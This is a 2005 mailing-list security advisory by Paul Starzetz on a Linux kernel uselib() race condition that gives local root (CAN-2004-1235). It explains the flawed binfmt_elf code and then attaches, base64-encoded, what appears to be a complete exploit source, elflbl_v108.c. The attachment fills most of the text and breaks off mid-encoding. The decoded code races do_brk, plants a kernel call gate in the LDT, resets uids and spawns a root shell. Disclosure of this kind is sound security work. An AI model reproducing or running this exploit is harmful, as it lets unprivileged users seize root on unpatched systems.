Date: Fri, 7 Jan 2005 12:46:18 +0100 (CET)
From: Paul Starzetz <ihaquer@isec.pl.>
To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com,
Subject: Linux kernel sys_uselib local root vulnerability
Cc: vendor-sec <vendor-sec@lst.de.>
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--1858155129-1898149313-1105098112=:2904
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.44.0501071242311.2904@isec.pl.>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi all,
first of all I must comply about the handling of this vulnerability that I
reported to vendorsec. Obviously my code posted there has been stolen and
plagiated by Stefan Esser from Ematters. The posting containing the
plagiate will follow. Now I have been forced to release the full advisory
however another disclosure timeline have been agreed on vendorsec. Sorry
for the inconvenience.
- ---------------------------------------------------------------------------
Synopsis: Linux kernel uselib() privilege elevation
Product: Linux kernel
Version: 2.4 up to and including 2.4.29-rc2, 2.6 up to and including 2.6.10
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0021-uselib.txt
CVE: CAN-2004-1235
Author: Paul Starzetz <ihaquer@isec.pl.>
Date: Jan 07, 2005
Issue:
======
Locally exploitable flaws have been found in the Linux binary format
loaders' uselib() functions that allow local users to gain root
privileges.
Details:
========
The Linux kernel provides a binary format loader layer to load (execute)
programs of different binary formats like ELF or a.out and more. The
kernel also provides a function named sys_uselib() to load a
corresponding library. This function is dispatched to the current
process's binary format handler and is basicaly a simplified mmap() code
coupled with some header parsing code.
An analyse of the uselib function load_elf_library() from binfmt_elf.c
revealed a flaw in the handling of the library's brk segment (VMA). That
segment is created with the current->mm->mmap_sem semaphore NOT held
while modyfying the memory layout of the calling process. This can be
used to disturb the memory management and gain elevated privileges. Also
the binfmt_aout binary format loader code is affected in the same way.
Discussion:
=============
The vulnerable code resides for example in fs/binfmt_elf.c in your
kernel source code tree:
static int load_elf_library(struct file *file)
{
[904] down_write(¤t->mm->mmap_sem);
error = do_mmap(file,
ELF_PAGESTART(elf_phdata->p_vaddr),
(elf_phdata->p_filesz +
ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
(elf_phdata->p_offset -
ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
up_write(¤t->mm->mmap_sem);
if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
goto out_free_ph;
elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
padzero(elf_bss);
len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
if (bss > len)
do_brk(len, bss - len);
The line numbers are all valid for the 2.4.28 kernel version. As can be
seen the mmap_sem is released prior to calling do_brk() in order to
create the data section of the ELF library. On the other hand, looking
into the code of sys_brk() from mm/mmap.c reveals that do_brk() must be
called with the semaphore held.
A short look into the code of do_brk() shows that:
[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
if (!vma)
return -ENOMEM;
vma->vm_mm = mm;
vma->vm_start = addr;
vma->vm_end = addr + len;
vma->vm_flags = flags;
vma->vm_page_prot = protection_map[flags & 0x0f];
vma->vm_ops = NULL;
vma->vm_pgoff = 0;
vma->vm_file = NULL;
vma->vm_private_data = NULL;
vma_link(mm, vma, prev, rb_link, rb_parent);
where rb_link and rb_parent were both found by calling
find_vma_prepare(). Obviously, if the kmem_cache_alloc() call sleeps,
the newly created VMA descriptor may be inserted at wrong position
because the process's VMA list and the VMA RB-tree may have been changed
by another thread. This is absolutely enough to gain root privileges.
We have found at least three different ways to exploit this
vulnerability. The race condition can be easily won by consuming a big
amount of memory. A proof of concept code exists but will not be
released yet.
Impact:
=======
Unprivileged local users can gain elevated (root) privileges.
Credits:
========
Paul Starzetz <ihaquer@isec.pl.> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.
Disclaimer:
===========
This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.
Appendix:
=========
Code attached.
- ------------------------------------------------------------------------
- --
Paul Starzetz
iSEC Security Research
http://isec.pl/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
iD8DBQFB3naPC+8U3Z5wpu4RAqi6AKCmSe50fEBcKB5TVygGEVuy3Gz1LwCeNPr5
+lKciODPNWQvg829jcx3Lvk=
=CRPn
-----END PGP SIGNATURE-----
--1858155129-1898149313-1105098112=:2904
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="elflbl_v108.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0501071241520.2904@isec.pl.>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="elflbl_v108.c"
LyoNCiAqCWJpbmZtdF9lbGYgdXNlbGliIFZNQSBpbnNlcnQgcmFjZSB2dWxu
ZXJhYmlsaXR5DQogKgl2MS4wOA0KICoNCiAqCWdjYyAtTzIgLWZvbWl0LWZy
YW1lLXBvaW50ZXIgZWxmbGJsLmMgLW8gZWxmbGJsDQogKg0KICoJQ29weXJp
Z2h0IChjKSAyMDA0ICBpU0VDIFNlY3VyaXR5IFJlc2VhcmNoLiBBbGwgUmln
aHRzIFJlc2VydmVkLg0KICoNCiAqCVRISVMgUFJPR1JBTSBJUyBGT1IgRURV
Q0FUSU9OQUwgUFVSUE9TRVMgKk9OTFkqIElUIElTIFBST1ZJREVEICJBUyBJ
UyINCiAqCUFORCBXSVRIT1VUIEFOWSBXQVJSQU5UWS4gQ09QWUlORywgUFJJ
TlRJTkcsIERJU1RSSUJVVElPTiwgTU9ESUZJQ0FUSU9ODQogKglXSVRIT1VU
IFBFUk1JU1NJT04gT0YgVEhFIEFVVEhPUiBJUyBTVFJJQ1RMWSBQUk9ISUJJ
VEVELg0KICoNCiAqLw0KDQoNCiNkZWZpbmUgX0dOVV9TT1VSQ0UNCg0KI2lu
Y2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVk
ZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1
bmlzdGQuaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPHNjaGVk
Lmg+DQojaW5jbHVkZSA8c3lzY2FsbC5oPg0KI2luY2x1ZGUgPGxpbWl0cy5o
Pg0KDQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3dh
aXQuaD4NCiNpbmNsdWRlIDxzeXMvdGltZS5oPg0KI2luY2x1ZGUgPHN5cy9t
bWFuLmg+DQojaW5jbHVkZSA8c3lzL3N5c2luZm8uaD4NCg0KI2luY2x1ZGUg
PGxpbnV4L2VsZi5oPg0KI2luY2x1ZGUgPGxpbnV4L2xpbmthZ2UuaD4NCg0K
I2luY2x1ZGUgPGFzbS9wYWdlLmg+DQojaW5jbHVkZSA8YXNtL2xkdC5oPg0K
I2luY2x1ZGUgPGFzbS9zZWdtZW50Lmg+DQoNCiNkZWZpbmUgc3RyKHMpICNz
DQojZGVmaW5lIHhzdHIocykgc3RyKHMpDQoNCiNkZWZpbmUgTVJFTUFQX01B
WU1PVkUgIDENCg0KDQovLwl0ZW1wIGxpYiBsb2NhdGlvbg0KI2RlZmluZSBM
SUJOQU1FIAkiL2Rldi9zaG0vX2VsZl9saWIiDQoNCi8vCXNoZWxsIG5hbWUN
CiNkZWZpbmUJU0hFTEwJCSIvYmluL2Jhc2giDQoNCi8vCXRpbWUgZGVsdGEg
dG8gZGV0ZWN0IHJhY2UNCiNkZWZpbmUgUkFDRURFTFRBCTUwMDANCg0KLy8J
aWYgeW91IGhhdmUgbW9yZSBkZWFkYmFiZXMgaW4gbWVtb3J5LCBjaGFuZ2Ug
dGhpcw0KI2RlZmluZSBNQUdJQwkJMHhkZWFkYmFiZQ0KDQoNCi8vCWRvIG5v
dCB0b3VjaA0KI2RlZmluZQlTTEFCX1RIUlNICTEyOA0KI2RlZmluZQlTTEFC
X1BFUl9DSExECShJTlRfTUFYIC0gMSkNCiNkZWZpbmUgTElCX1NJWkUJKCBQ
QUdFX1NJWkUgKiA0ICkNCiNkZWZpbmUgU1RBQ0tfU0laRQkoIFBBR0VfU0la
RSAqIDQgKQ0KDQojZGVmaW5lIExEVF9QQUdFUwkoIChMRFRfRU5UUklFUypM
RFRfRU5UUllfU0laRStQQUdFX1NJWkUtMSkvUEFHRV9TSVpFICkNCg0KI2Rl
ZmluZSBFTlRSWV9HQVRFCSggTERUX0VOVFJJRVMtMSApDQojZGVmaW5lIFNF
TF9HQVRFCSggKEVOVFJZX0dBVEU8PDMpfDB4MDcgKQ0KDQojZGVmaW5lIEVO
VFJZX0xDUwkoIEVOVFJZX0dBVEUtMiApDQojZGVmaW5lIFNFTF9MQ1MJCSgg
KEVOVFJZX0xDUzw8Myl8MHgwNCApDQoNCiNkZWZpbmUgRU5UUllfTERTCSgg
RU5UUllfR0FURS0xICkNCiNkZWZpbmUgU0VMX0xEUwkJKCAoRU5UUllfTERT
PDwzKXwweDA0ICkNCg0KI2RlZmluZSBrQgkJKiAxMDI0DQojZGVmaW5lIE1C
CQkqIDEwMjQga0INCiNkZWZpbmUgR0IJCSogMTAyNCBNQg0KDQojZGVmaW5l
IFRNUExFTgkJMjU2DQojZGVmaW5lIFBHRF9TSVpFCSggUEFHRV9TSVpFKjEw
MjQgKQ0KDQoNCmV4dGVybiBjaGFyICoqZW52aXJvbjsNCg0Kc3RhdGljIGNo
YXIgY3N0YWNrW1NUQUNLX1NJWkVdOw0Kc3RhdGljIGNoYXIgbmFtZVtUTVBM
RU5dOw0Kc3RhdGljIGNoYXIgbGluZVtUTVBMRU5dOw0KDQoNCnN0YXRpYyB2
b2xhdGlsZSBpbnQNCgl2YWwgPSAwLA0KCWdvID0gMCwNCglmaW5pc2ggPSAw
LA0KCXNjbnQgPSAwLA0KCWNjbnQ9MCwNCglkZWx0YSA9IDAsDQoJZGVsdGFf
bWF4ID0gUkFDRURFTFRBLA0KCW1hcF9mbGFncyA9IFBST1RfV1JJVEV8UFJP
VF9SRUFEOw0KDQoNCnN0YXRpYyBpbnQNCglmc3RvcD0wLA0KCXNpbGVudD0w
LA0KCXBpZHgsDQoJcG51bT0wLA0KCXNtcF9tYXg9MCwNCglzbXAsDQoJd3Rp
bWU9MiwNCgljcGlkLA0KCXVpZCwNCgl0YXNrX3NpemUsDQoJb2xkX2VzcCwN
CglsaWJfYWRkciwNCgltYXBfY291bnQ9MCwNCgltYXBfYmFzZT0wLA0KCW1h
cF9hZGRyLA0KCWFkZHJfbWluLA0KCWFkZHJfbWF4LA0KCXZtYV9zdGFydCwN
Cgl2bWFfZW5kLA0KCW1heF9wYWdlOw0KDQoNCnN0YXRpYyBzdHJ1Y3QgdGlt
ZXZhbCB0bTEsIHRtMjsNCg0Kc3RhdGljIGNoYXIgKm15ZW52W10gPSB7IlRF
Uk09dnQxMDAiLA0KCQkJIkhJU1RGSUxFPS9kZXYvbnVsbCIsDQoJCQlOVUxM
fTsNCg0Kc3RhdGljIGNoYXIgaGVsbGMwZGVbXSA9ICJceDQ5XHg2ZVx4NzRc
eDY1XHg2Y1x4NjVceDYzXHg3NFx4NzVceDYxXHg2Y1x4MjBceDcwXHg3Mlx4
NmZceDcwIg0KICAgICAgICAgICAgICAgICAgICAgICAgICJceDY1XHg3Mlx4
NzRceDc5XHgyMFx4NmZceDY2XHgyMFx4NDlceDY4XHg2MVx4NTFceDc1XHg2
NVx4NTJceDAwIjsNCg0KDQpzdGF0aWMgY2hhciAqcGFnZW1hcCwgKmxpYm5h
bWU9TElCTkFNRSwgKnNoZWxsbmFtZT1TSEVMTDsNCg0KDQoNCiNkZWZpbmUg
X19OUl9zeXNfZ2V0dGltZW9mZGF5CV9fTlJfZ2V0dGltZW9mZGF5DQojZGVm
aW5lIF9fTlJfc3lzX3NjaGVkX3lpZWxkCV9fTlJfc2NoZWRfeWllbGQNCiNk
ZWZpbmUgX19OUl9zeXNfbWFkdmlzZQlfX05SX21hZHZpc2UNCiNkZWZpbmUg
X19OUl9zeXNfdXNlbGliCQlfX05SX3VzZWxpYg0KI2RlZmluZSBfX05SX3N5
c19tbWFwMgkJX19OUl9tbWFwMg0KI2RlZmluZSBfX05SX3N5c19tdW5tYXAJ
CV9fTlJfbXVubWFwDQojZGVmaW5lIF9fTlJfc3lzX21wcm90ZWN0CV9fTlJf
bXByb3RlY3QNCiNkZWZpbmUgX19OUl9zeXNfbXJlbWFwCQlfX05SX21yZW1h
cA0KDQppbmxpbmUgX3N5c2NhbGw2KGludCwgc3lzX21tYXAyLCBpbnQsIGEs
IGludCwgYiwgaW50LCBjLCBpbnQsIGQsIGludCwgZSwgaW50LCBmKTsNCg0K
aW5saW5lIF9zeXNjYWxsNShpbnQsIHN5c19tcmVtYXAsIGludCwgYSwgaW50
LCBiLCBpbnQsIGMsIGludCwgZCwgaW50LCBlKTsNCg0KaW5saW5lIF9zeXNj
YWxsMyhpbnQsIHN5c19tYWR2aXNlLCB2b2lkKiwgYSwgaW50LCBiLCBpbnQs
IGMpOw0KaW5saW5lIF9zeXNjYWxsMyhpbnQsIHN5c19tcHJvdGVjdCwgaW50
LCBhLCBpbnQsIGIsIGludCwgYyk7DQppbmxpbmUgX3N5c2NhbGwzKCBpbnQs
IG1vZGlmeV9sZHQsIGludCwgZnVuYywgdm9pZCAqLCBwdHIsIGludCwgYnl0
ZWNvdW50ICk7DQoNCmlubGluZSBfc3lzY2FsbDIoaW50LCBzeXNfZ2V0dGlt
ZW9mZGF5LCB2b2lkKiwgYSwgdm9pZCosIGIpOw0KaW5saW5lIF9zeXNjYWxs
MihpbnQsIHN5c19tdW5tYXAsIGludCwgYSwgaW50LCBiKTsNCg0KaW5saW5l
IF9zeXNjYWxsMShpbnQsIHN5c191c2VsaWIsIGNoYXIqLCBsKTsNCg0KaW5s
aW5lIF9zeXNjYWxsMCh2b2lkLCBzeXNfc2NoZWRfeWllbGQpOw0KDQoNCg0K
aW5saW5lIGludCB0bWRpZmYoc3RydWN0IHRpbWV2YWwgKnQxLCBzdHJ1Y3Qg
dGltZXZhbCAqdDIpDQp7DQppbnQgcjsNCg0KCXI9dDItPnR2X3NlYyAtIHQx
LT50dl9zZWM7DQoJcio9MTAwMDAwMDsNCglyKz10Mi0+dHZfdXNlYyAtIHQx
LT50dl91c2VjOw0KcmV0dXJuIHI7DQp9DQoNCg0Kdm9pZCBmYXRhbChjb25z
dCBjaGFyICptZXNzYWdlLCBpbnQgY3JpdGljYWwpDQp7DQppbnQgc2lnID0g
Y3JpdGljYWw/IFNJR1NUT1AgOiAoZnN0b3A/IFNJR1NUT1AgOiBTSUdLSUxM
KTsNCg0KCWlmKCFlcnJubykgew0KCQlmcHJpbnRmKHN0ZG91dCwgIlxuWy1d
IEZBSUxFRDogJXMgIiwgbWVzc2FnZSk7DQoJfSBlbHNlIHsNCgkJZnByaW50
ZihzdGRvdXQsICJcblstXSBGQUlMRUQ6ICVzICglcykgIiwgbWVzc2FnZSwN
CgkJCShjaGFyKikgKHN0cmVycm9yKGVycm5vKSkgKTsNCgl9DQoJaWYoY3Jp
dGljYWwpDQoJCXByaW50ZigiXG5DUklUSUNBTCwgZW50ZXJpbmcgZW5kbGVz
cyBsb29wIik7DQoJcHJpbnRmKCJcbiIpOw0KCWZmbHVzaChzdGRvdXQpOw0K
DQoJdW5saW5rKGxpYm5hbWUpOw0KCWtpbGwoY3BpZCwgU0lHS0lMTCk7DQoJ
Zm9yKDs7KSBraWxsKDAsIHNpZyk7DQp9DQoNCg0KLy8JdHJ5IHRvIHJhY2Ug
ZG9fYnJrIHNsZWVwaW5nIG9uIGttYWxsb2MsIG1heSBuZWVkIG1vZGlmaWNh
dGlvbiBmb3IgU01QDQppbnQgcmFjZW1lKHZvaWQqIHYpDQp7DQoJZmluaXNo
PTE7DQoNCglmb3IoOzspIHsNCgkJZXJybm8gPSAwOw0KDQovLwljaGVjayBp
ZiByYWNlZDoNCnJlY2hlY2s6DQoJCWlmKCFnbykgc3lzX3NjaGVkX3lpZWxk
KCk7DQoJCXN5c19nZXR0aW1lb2ZkYXkoJnRtMiwgTlVMTCk7DQoJCWRlbHRh
ID0gdG1kaWZmKCZ0bTEsICZ0bTIpOw0KCQlpZighc21wX21heCAmJiBkZWx0
YSA8ICh1bnNpZ25lZClkZWx0YV9tYXgpIGdvdG8gcmVjaGVjazsNCgkJc21w
ID0gc21wX21heDsNCg0KLy8JY2hlY2sgaWYgbGliIFZNQXMgZXhpc3QgYXMg
ZXhwZWN0ZWQgdW5kZXIgcmFjZSBjb25kaXRpb24NCnJlY2hlY2syOg0KCQl2
YWwgPSBzeXNfbWFkdmlzZSgodm9pZCopIGxpYl9hZGRyLCBQQUdFX1NJWkUs
IE1BRFZfTk9STUFMKTsNCgkJaWYodmFsKSBjb250aW51ZTsNCgkJZXJybm8g
PSAwOw0KCQl2YWwgPSBzeXNfbWFkdmlzZSgodm9pZCopIChsaWJfYWRkcitQ
QUdFX1NJWkUpLA0KCQkJCUxJQl9TSVpFLVBBR0VfU0laRSwgTUFEVl9OT1JN
QUwpOw0KCQlpZiggIXZhbCB8fCAodmFsPDAgJiYgZXJybm8hPUVOT01FTSkg
KSBjb250aW51ZTsNCg0KLy8JU01QPw0KCQlzbXAtLTsNCgkJaWYoc21wPj0w
KSBnb3RvIHJlY2hlY2syOw0KDQovLwlyZWNoZWNrIHJhY2UNCgkJaWYoIWdv
KSBjb250aW51ZTsNCgkJZmluaXNoKys7DQoNCi8vCXdlIG5lZWQgdG8gZnJl
ZSBvbmUgdm1fYXJlYV9zdHJ1Y3QgZm9yIG1tYXAgdG8gd29yaw0KCQl2YWwg
PSBzeXNfbXByb3RlY3QobWFwX2FkZHIsIFBBR0VfU0laRSwgbWFwX2ZsYWdz
KTsNCgkJaWYodmFsKSBmYXRhbCgibXByb3RlY3QiLCAwKTsNCgkJdmFsID0g
c3lzX21tYXAyKGxpYl9hZGRyICsgUEFHRV9TSVpFLCBQQUdFX1NJWkUqMywg
UFJPVF9OT05FLA0KCQkJICAgICAgTUFQX1BSSVZBVEV8TUFQX0FOT05ZTU9V
U3xNQVBfRklYRUQsIDAsIDApOw0KCQlpZigtMT09dmFsKSBmYXRhbCgibW1h
cDIgcmFjZSIsIDApOw0KCQlwcmludGYoIlxuWytdIHJhY2Ugd29uIG1hcHM9
JWQiLCBtYXBfY291bnQpOyBmZmx1c2goc3Rkb3V0KTsNCgkJX2V4aXQoMCk7
DQoJfQ0KDQpyZXR1cm4gMDsNCn0NCg0KDQppbnQgY2FsbG1lXzEoKQ0Kew0K
CXJldHVybiB2YWwrKzsNCn0NCg0KDQppbmxpbmUgaW50IHZhbGlkX3B0cih1
bnNpZ25lZCBwdHIpDQp7DQoJcmV0dXJuIHB0cj49dGFza19zaXplICYmIHB0
cjxhZGRyX21pbi0xNjsNCn0NCg0KDQppbmxpbmUgaW50IHZhbGlkYXRlX3Zt
YSh1bnNpZ25lZCAqcCwgdW5zaWduZWQgcywgdW5zaWduZWQgZSkNCnsNCnVu
c2lnbmVkICp0Ow0KDQoJaWYodmFsaWRfcHRyKHBbMF0pICYmIHZhbGlkX3B0
cihwWzNdKSAmJiBwWzFdPT1zICYmIHBbMl09PWUpIHsNCgkJdD0odW5zaWdu
ZWQqKXBbM107DQoJCWlmKCB0WzBdPT1wWzBdICYmIHRbMV08PXRhc2tfc2l6
ZSAmJiB0WzJdPD10YXNrX3NpemUgKQ0KCQkJcmV0dXJuIDE7DQoJfQ0KCXJl
dHVybiAwOw0KfQ0KDQoNCmFzbWxpbmthZ2Ugdm9pZCBrZXJuZWxfY29kZSh1
bnNpZ25lZCAqdGFzaykNCnsNCnVuc2lnbmVkICphZGRyID0gdGFzazsNCg0K
Ly8JZmluZCAmIHJlc2V0IHVpZHMNCgl3aGlsZShhZGRyWzBdICE9IHVpZCB8
fCBhZGRyWzFdICE9IHVpZCB8fA0KCSAgICAgIGFkZHJbMl0gIT0gdWlkIHx8
IGFkZHJbM10gIT0gdWlkKQ0KCQlhZGRyKys7DQoNCglhZGRyWzBdID0gYWRk
clswXSA9IGFkZHJbMl0gPSBhZGRyWzNdID0gMDsNCglhZGRyWzRdID0gYWRk
cls1XSA9IGFkZHJbNl0gPSBhZGRyWzddID0gMDsNCg0KLy8JZmluZCAmIGNv
cnJlY3QgVk1BDQoJZm9yKGFkZHI9KHVuc2lnbmVkICopdGFza19zaXplOyAo
dW5zaWduZWQpYWRkcjxhZGRyX21pbi0xNjsgYWRkcisrKSB7DQoJCWlmKCB2
YWxpZGF0ZV92bWEoYWRkciwgdm1hX3N0YXJ0LCB2bWFfZW5kKSApIHsNCgkJ
CWFkZHJbMV0gPSB0YXNrX3NpemUgLSBQQUdFX1NJWkU7DQoJCQlhZGRyWzJd
ID0gdGFza19zaXplOw0KCQkJYnJlYWs7DQoJCX0NCgl9DQp9DQoNCg0Kdm9p
ZCBrY29kZSh2b2lkKTsNCg0KDQp2b2lkIF9fa2NvZGUodm9pZCkNCnsNCmFz
bSgNCgkia2NvZGU6CQkJCQkJXG4iDQoJIglwdXNoYQkJCQkJXG4iDQoJIglw
dXNobAklZXMJCQkJXG4iDQoJIglwdXNobAklZHMJCQkJXG4iDQoJIgltb3Zs
CSQoIiB4c3RyKFNFTF9MRFMpICIpICwlZWR4CVxuIg0KCSIJbW92bAklZWR4
LCVlcwkJCVxuIg0KCSIJbW92bAklZWR4LCVkcwkJCVxuIg0KCSIJbW92bAkk
MHhmZmZmZTAwMCwlZWF4CQlcbiINCgkiCWFuZGwJJWVzcCwlZWF4CQkJXG4i
DQoJIglwdXNobAklZWF4CQkJCVxuIg0KCSIJY2FsbAlrZXJuZWxfY29kZQkJ
CVxuIg0KCSIJYWRkbAkkNCwgJWVzcAkJCVxuIg0KCSIJcG9wbAklZHMJCQkJ
XG4iDQoJIglwb3BsCSVlcwkJCQlcbiINCgkiCXBvcGEJCQkJCVxuIg0KCSIJ
bHJldAkJCQkJXG4iDQogICAgKTsNCn0NCg0KDQppbnQgY2FsbG1lXzIoKQ0K
ew0KCXJldHVybiB2YWwgKyB0YXNrX3NpemUgKyBhZGRyX21pbjsNCn0NCg0K
DQp2b2lkIHNpZ2ZhaWxlZChpbnQgdikNCnsNCgljY250Kys7DQoJZmF0YWwo
ImxjYWxsIiwgMSk7DQp9DQoNCg0KLy8JbW9kaWZ5IExEVCAmIGV4ZWMNCnZv
aWQgdHJ5X3RvX2V4cGxvaXQodW5zaWduZWQgYWRkcikNCnsNCnZvbGF0aWxl
IGludCByLCAqdjsNCg0KCXByaW50ZigiXG5bIV0gdHJ5IHRvIGV4cGxvaXQg
MHglLjh4IiwgYWRkcik7IGZmbHVzaChzdGRvdXQpOw0KCXVubGluayhsaWJu
YW1lKTsNCg0KCXIgPSBzeXNfbXByb3RlY3QoYWRkciwgUEFHRV9TSVpFLCBQ
Uk9UX1JFQUR8UFJPVF9XUklURXxtYXBfZmxhZ3MpOw0KCWlmKHIpIGZhdGFs
KCJtcHJvdGVjdCAxIiwgMSk7DQoNCi8vCWNoZWNrIGlmIHJlYWxseSBMRFQN
Cgl2ID0gKHZvaWQqKSAoYWRkciArIChFTlRSWV9HQVRFKkxEVF9FTlRSWV9T
SVpFICUgUEFHRV9TSVpFKSApOw0KCXNpZ25hbChTSUdTRUdWLCBzaWdmYWls
ZWQpOw0KCXIgPSAqdjsNCglpZihyICE9IE1BR0lDKSB7DQoJCXByaW50Zigi
XG5bLV0gRkFJTEVEIHZhbCA9IDB4JS44eCIsIHIpOyBmZmx1c2goc3Rkb3V0
KTsNCgkJZmF0YWwoImZpbmQgTERUIiwgMSk7DQoJfQ0KDQovLwl5ZWFoLCBz
ZXR1cCBDUEwwIGdhdGUNCgl2WzBdID0gKCh1bnNpZ25lZCkoU0VMX0xDUyk8
PDE2KSB8ICgodW5zaWduZWQpa2NvZGUgJiAweGZmZmZVKTsNCgl2WzFdID0g
KCh1bnNpZ25lZClrY29kZSAmIH4weGZmZmZVKSB8IDB4ZWMwMFU7DQoJcHJp
bnRmKCJcblsrXSBnYXRlIG1vZGlmaWVkICggMHglLjh4IDB4JS44eCApIiwg
dlswXSwgdlsxXSk7IGZmbHVzaChzdGRvdXQpOw0KDQovLwlzZXR1cCBDUEww
IHNlZ21lbnQgZGVzY3JpcHRvcnMgKHdlIG5lZWQgdGhlICdhY2Nlc3NlZCcg
dmVyc2lvbnMgOy0pDQoJdiA9ICh2b2lkKikgKGFkZHIgKyAoRU5UUllfTENT
KkxEVF9FTlRSWV9TSVpFICUgUEFHRV9TSVpFKSApOw0KCXZbMF0gPSAweDAw
MDBmZmZmOyAvKiBrZXJuZWwgNEdCIGNvZGUgYXQgMHgwMDAwMDAwMCAqLw0K
CXZbMV0gPSAweDAwY2Y5YjAwOw0KDQoJdiA9ICh2b2lkKikgKGFkZHIgKyAo
RU5UUllfTERTKkxEVF9FTlRSWV9TSVpFICUgUEFHRV9TSVpFKSApOw0KCXZb
MF0gPSAweDAwMDBmZmZmOyAvKiBrZXJuZWwgNEdCIGRhdGEgYXQgMHgwMDAw
MDAwMCAqLw0KCXZbMV0gPSAweDAwY2Y5MzAwOw0KDQovLwlyZXByb3RlY3Qg
dG8gZ2V0IG9ubHkgb25lIGJpZyBWTUENCglyID0gc3lzX21wcm90ZWN0KGFk
ZHIsIFBBR0VfU0laRSwgUFJPVF9SRUFEfG1hcF9mbGFncyk7DQoJaWYocikg
ZmF0YWwoIm1wcm90ZWN0IDIiLCAxKTsNCg0KLy8JQ1BMMCB0cmFuc2l0aW9u
DQoJc3lzX3NjaGVkX3lpZWxkKCk7DQoJdmFsID0gY2FsbG1lXzEoKSArIGNh
bGxtZV8yKCk7DQoJYXNtKCJsY2FsbCAkIiB4c3RyKFNFTF9HQVRFKSAiLCQw
eDAiKTsNCglpZiggZ2V0dWlkKCk9PTAgfHwgKHZhbD09MzEzMzcgJiYgc3Ry
bGVuKGhlbGxjMGRlKT09MTYpICkgew0KCQlwcmludGYoIlxuWytdIGV4cGxv
aXRlZCwgdWlkPTBcblxuIiApOyBmZmx1c2goc3Rkb3V0KTsNCgl9IGVsc2Ug
ew0KCQlwcmludGYoIlxuWy1dIHVpZCBjaGFuZ2UgZmFpbGVkIiApOyBmZmx1
c2goc3Rkb3V0KTsNCgkJc2lnZmFpbGVkKDApOw0KCX0NCglzaWduYWwoU0lH
VEVSTSwgU0lHX0lHTik7DQoJa2lsbCgwLCBTSUdURVJNKTsNCglleGVjbChz
aGVsbG5hbWUsICJzaCIsIE5VTEwpOw0KCWZhdGFsKCJleGVjbCIsIDApOw0K
fQ0KDQoNCnZvaWQgc2Nhbl9tbV9maW5pc2goKTsNCnZvaWQgc2Nhbl9tbV9z
dGFydCgpOw0KDQoNCi8vCWtlcm5lbCBwYWdlIHRhYmxlIHNjYW4gY29kZQ0K
dm9pZCBzY2FuX21tKCkNCnsNCgltYXBfYWRkciAtPSBQQUdFX1NJWkU7DQoJ
aWYobWFwX2FkZHIgPD0gKHVuc2lnbmVkKWFkZHJfbWluKQ0KCQlzY2FuX21t
X3N0YXJ0KCk7DQoNCglzY250PTA7DQoJdmFsID0gKihpbnQqKW1hcF9hZGRy
Ow0KCXNjYW5fbW1fZmluaXNoKCk7DQp9DQoNCg0Kdm9pZCBzY2FuX21tX2Zp
bmlzaCgpDQp7DQpyZXRyeToNCglfX2FzbV9fKCJtb3ZsCSUwLCAlJWVzcCIg
OiA6Im0iKG9sZF9lc3ApICk7DQoNCglpZihzY250KSB7DQoJCXBhZ2VtYXBb
cGlkeF0gXj0gMTsNCgl9DQoJZWxzZSB7DQoJCXN5c19tYWR2aXNlKCh2b2lk
KiltYXBfYWRkciwgUEFHRV9TSVpFLCBNQURWX0RPTlRORUVEKTsNCgl9DQoJ
cGlkeC0tOw0KCXNjYW5fbW0oKTsNCglnb3RvIHJldHJ5Ow0KfQ0KDQoNCi8v
CW1ha2Uga2VybmVsIHBhZ2UgbWFwcyBiZWZvcmUgYW5kIGFmdGVyIGFsbG9j
YXRpbmcgTERUDQp2b2lkIHNjYW5fbW1fc3RhcnQoKQ0Kew0Kc3RhdGljIGlu
dCBucGc9MDsNCnN0YXRpYyBzdHJ1Y3QgbW9kaWZ5X2xkdF9sZHRfcyBsOw0K
DQoJcG51bSsrOw0KCWlmKHBudW09PTEpIHsNCgkJcGlkeCA9IG1heF9wYWdl
LTE7DQoJfQ0KCWVsc2UgaWYocG51bT09Mikgew0KCQltZW1zZXQoJmwsIDAs
IHNpemVvZihsKSk7DQoJCWwuZW50cnlfbnVtYmVyID0gTERUX0VOVFJJRVMt
MTsNCgkJbC5zZWdfMzJiaXQgPSAxOw0KCQlsLmJhc2VfYWRkciA9IE1BR0lD
ID4+IDE2Ow0KCQlsLmxpbWl0ID0gTUFHSUMgJiAweGZmZmY7DQoJCWwubGlt
aXRfaW5fcGFnZXMgPSAxOw0KCQlpZiggbW9kaWZ5X2xkdCgxLCAmbCwgc2l6
